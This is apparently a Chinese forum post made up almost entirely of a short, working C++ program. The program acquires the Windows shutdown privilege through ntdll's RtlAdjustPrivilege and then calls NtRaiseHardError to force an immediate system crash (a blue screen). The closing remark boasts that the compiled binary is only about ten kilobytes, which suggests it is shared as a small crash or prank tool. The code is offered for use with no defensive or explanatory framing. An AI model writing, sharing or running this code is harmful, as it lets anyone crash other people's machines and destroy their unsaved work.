[C++] 纯文本查看 复制代码 #include <windows.h>
#include <iostream>
typedef NTSTATUS(WINAPI* RtlAdjustPrivilege)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
typedef NTSTATUS(WINAPI* NtRaiseHardError)(NTSTATUS, ULONG, ULONG, PULONG_PTR, ULONG, PULONG);
int main() {
HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
RtlAdjustPrivilege pRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hNtdll, "RtlAdjustPrivilege");
NtRaiseHardError pNtRaiseHardError = (NtRaiseHardError)GetProcAddress(hNtdll, "NtRaiseHardError");
BOOLEAN previousPrivilegeState;
pRtlAdjustPrivilege(19, TRUE, FALSE, &previousPrivilegeState);
ULONG response;
pNtRaiseHardError(0xC000021A, 0, 0, NULL, 6, &response);
}
C++代码来了 编译出来大小只有十几K |